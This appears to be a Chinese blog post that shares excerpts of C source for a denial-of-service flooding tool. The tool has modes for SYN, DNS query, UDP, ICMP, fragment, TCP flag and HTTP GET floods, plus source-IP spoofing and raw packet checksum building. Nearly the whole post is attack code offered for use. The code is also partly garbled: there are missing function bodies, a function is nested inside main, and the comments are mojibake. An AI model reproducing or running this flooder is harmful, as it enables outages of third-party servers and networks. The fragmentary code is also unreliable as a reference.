不废话,直接上代码,
先看截图use pictures;
2.source code
部分主要代码
void help_length(void)
{
printf("
This is not the correct format about option " -l ".
"
" format: " :<number> | <number>: | <number_1>:<number_2> "
");
exit (1);
}
static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);
unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,
char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp (int sockfd,struct sockaddr_in *addr);
void send_icmp (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();
void sig_int (int sigo);
//static void *pthread_func(void *vptr_args);
fd_set rset,drset;
struct protocol_fake_header {
unsigned long saddr;
unsigned long daddr;
char mbz;
char proto;
unsigned short header_len;
};
struct icmphdr {
char type;
char code;
unsigned short checksum;
unsigned short id;
unsigned short seq;
};
struct dnshdr_prefix {
unsigned short id; /* random() */
unsigned short flags; /* 0x0100 */
unsigned short questions; /* 0x0001 */
unsigned short answers; /* 0x0000 */
unsigned short author; /* 0x0000 */
unsigned short addition; /* 0x0000 */
};
struct dnshdr_suffix {
unsigned short int type; /* 0x0001 */
unsigned short int class; /* 0x0001 */
};
int i = 0;
int a = 0;
int port;
int count=0;
int nw;
int n=0;
int gsockfd[MAX_SOCKFD];
unsigned int send_get_number=0;
unsigned short hostname_len;
unsigned short iph_len;
unsigned short tcph_len;
unsigned short udph_len;
unsigned short icmph_len;
unsigned short dnsh_prefix_len;
unsigned short dnsh_center_len;
unsigned short dnsh_len;
unsigned short data_len=0;
unsigned short pkg_len; /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */
unsigned long packet_delay=0;
char number ;
char * QueryBuf;
unsigned len_a=0,len_b;
char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
char * p_str; /* used by Fun build_dns_querybuf */
char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
char p_str_center[256];
unsigned dn_suffix_tnum=6;
unsigned short dn_suffix_num;
char dn_suffix_len;
unsigned long sum=0;
unsigned long int send_count=0;
char PRINT_MODE[20]="SYN Flood"; /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯�鏃舵樉绀?*/
char *pbuf;
char datasize[60];
char *pds; /* used by datasize */
unsigned short int data_size_max=0;
unsigned short int data_size_min=0;
unsigned short int tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
unsigned short int tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
unsigned short int udp_data_size_max;
unsigned short int udp_data_size_min;
unsigned short int icmp_data_size_max=ICMP_DATA_SIZE_MAX;
unsigned short int icmp_data_size_min=ICMP_DATA_SIZE_MIN;
int sockfd;
int dn;
int i,ii;
int _proto_char_len;
char proto_data[1460]="rand";
char buffer[1501]; /* store data from gsockfd[i] (server ) */
char buf[20];
int buf_len;
char ipdata[20];
char srcip[20];
char domainname[50];
char hostname[50];
char hostport[8];
char uri[1024]=URI;
char mode[8]=MODE;
char http_head_get[1024]=HTTP_HEAD_GET;
struct sockaddr_in to;
struct hostent *host;
struct timeval tv,pdelay;
struct timeval pstart,pend;
unsigned long int pdelay_sec=0,pdelay_usec=0;
float timeuse;
struct iphdr *iph;
struct udphdr *udph;
struct dnshdr_prefix *dnsh_prefix;
struct dnshdr_suffix *dnsh_suffix;
/* ============= Main Function ========= */
int main(int argc,char **argv)
{
if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
help();
int on=1;
bzero(ipdata,20);
bzero(srcip,20);
bzero(&to,sizeof(to));
int cn;
while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
{
switch(cn)
{
case 'm':
strcpy(mode,optarg);
if(strcmp((mode),"syn")==0) {
strcpy(PRINT_MODE,"SYN Flood");
break;
}
if(strcmp((mode),"asyn")==0) {
strcpy(PRINT_MODE,"SYN+ACK Flood");
break;
}
if(strcmp((mode),"dsyn")==0) {
strcpy(PRINT_MODE,"SYN+data Flood");
break;
}
if(strcmp((mode),"dns")==0) {
strcpy(PRINT_MODE,"DNS Query Flood");
break;
}
if(strcmp((mode),"udp")==0) {
strcpy(PRINT_MODE,"UDP Flood");
break;
}
if(strcmp((mode),"icmp")==0) {
strcpy(PRINT_MODE,"ICMP ECHO Flood");
break;
}
if(strcmp((mode),"ufrag")==0) {
strcpy(PRINT_MODE,"UDP Frag Flood");
break;
}
if(strcmp((mode),"ack")==0) {
strcpy(PRINT_MODE,"TCP ACK Flood");
break;
}
if(strcmp((mode),"pack")==0) {
strcpy(PRINT_MODE,"TCP PSH ACK Flood");
break;
}
if(strcmp((mode),"rack")==0) {
strcpy(PRINT_MODE,"TCP RST ACK Flood");
break;
}
if(strcmp((mode),"fack")==0) {
strcpy(PRINT_MODE,"TCP FIN ACK Flood");
break;
}
if(strcmp((mode),"gack")==0) {
strcpy(PRINT_MODE,"HTTP GET ACK Flood");
break;
}
if(strcmp((mode),"gfld")==0) {
strcpy(PRINT_MODE,"HTTP GET Flood");
break;
}
if(strcmp((mode),"synclink")==0) {
strcpy(PRINT_MODE,"Sync Link test");
break;
}
else
help();
break;
case 'h':
strcpy(hostname,optarg);
hostname_len=strlen(hostname);
if(isdigit(hostname[hostname_len-1])) {
to.sin_addr.s_addr=inet_addr(hostname);
strcpy(ipdata,hostname);
}
else if((host=gethostbyname(hostname))==NULL) {
printf(" resolv ip failed.
");
exit(1);
}
else {
inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
to.sin_addr.s_addr=inet_addr(ipdata);
}
break;
case 'p':
strcpy(hostport,optarg);
break;
case 'S':
strcpy(srcip,optarg);
break;
case 'c':
send_count=atoi(optarg);
break;
case 'u':
strcpy(uri,optarg);
break;
case 's':
strncpy(proto_data,optarg,strlen(optarg));
break;
case 'd':
strcpy(buf,optarg);
buf_len=strlen(buf);
if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
buf[buf_len-2]=0;
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else if(buf[buf_len-1]=='s') {
buf[buf_len-1]=0;
pdelay_sec=atoi(buf);
pdelay_usec=0;
}
else if(isdigit(buf[buf_len-1])) {
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else {printf(" enter time error.
");exit(1);}
break;
case 'l':
strcpy(datasize,optarg);
if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
if( datasize[0]==':' ) { /* :20 */
pds=strtok(datasize,":");
if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
else help_length();
}
else if( datasize[strlen(datasize)-1] == ':' ) { /* 4: */
pds=strtok(datasize,":");
if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
else help_length();
}
else { /* 5:9 */
pds=strtok(datasize,":");
if(pds != NULL) data_size_min=atoi(pds);
pds=strtok(NULL,":");
if(pds != NULL) data_size_max=atoi(pds);
}
else {
}
if( data_size_max == 0) data_size_max=data_size_min;
if( data_size_max<data_size_min)
{
printf(" data_size_min(100) > data_size_max(%d) !!!
",data_size_max);
exit (1);
}
if( data_size_max>1460)
{
printf(" data_size_max is 1460 !
");
exit (1);
}
break;
default:
help();
break;
}
}
if (data_size_min == 0 && data_size_max == 0)
{
data_size_min=DATA_SIZE_MIN;
data_size_max=DATA_SIZE_MAX;
}
// printf(" datasize min=%d max=%d
",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/
char * get_rand_dn (char *___str_str,int str_len)
{
int len=strlen(_domain_name_char);
for (ii=0;ii<str_len;ii++){
___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
}
// printf (" over for
");
return ___str_str;
}
void send_packets_delay( )
{
pdelay.tv_sec=pdelay_sec;
pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
printf(" pdelay.sec=%ld
",pdelay.tv_sec);
printf(" pdelay.usec=%ld
",pdelay.tv_usec);
#endif
FD_ZERO(&drset);
FD_SET(sockfd,&drset);
select(sockfd+1,NULL,NULL,NULL,&pdelay);
}
/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
printf(" enter pthread[]
");
int sockfd;
fd_set rset;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
printf(" create sockfd error from pthread_fun.
");
pthread_exit("Thank you for the CPU time");
}
a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
if(a==0)
{
write(sockfd,http_head_get,strlen(http_head_get));
printf(" send get request to server .
");
select
tv.tv_sec=0;
tv.tv_usec=5;
FD_ZERO(&rset);
FD_SET(sockfd,&rset);
select(sockfd+1,&rset,NULL,NULL,&tv);
while (1)
{
nw++;
if(FD_ISSET(sockfd,&rset)) {
printf(" enter while
");
n=read(sockfd,buffer,1500);
printf(" read data ....");
if(n==0) {
printf(" Accept fin and close sockfd[]
");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
if(n<0) {
printf(" Accept rst and close sockfd[]
");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
else
printf("read data
");
*/
// } /* end of if(FD_ */
/* else
printf(" not can be read
");
} */ /* end of while */
// } /* end of if(a==0) */
/* else
{
printf(" connect_status:%d errno=%d close_sockfd[]
",a,errno);
close(sockfd);
}
send_get_number++;
return 0;
}
*/
/* =============== check sum function =============== */
static unsigned short inline checksum(unsigned short *buffer,int size){
unsigned long cksum = 0;
while(size>1){
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size){
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return((unsigned short )(~cksum));
}
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);
buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);
pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;
if(strcmp(proto,"tcp")==0) {
pfh->proto = IPPROTO_TCP;
pfh->header_len = htons(tcph_len);
}
if(strcmp(proto,"udp")==0) {
pfh->proto = IPPROTO_UDP;
pfh->header_len = htons(udph_len);
}
sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}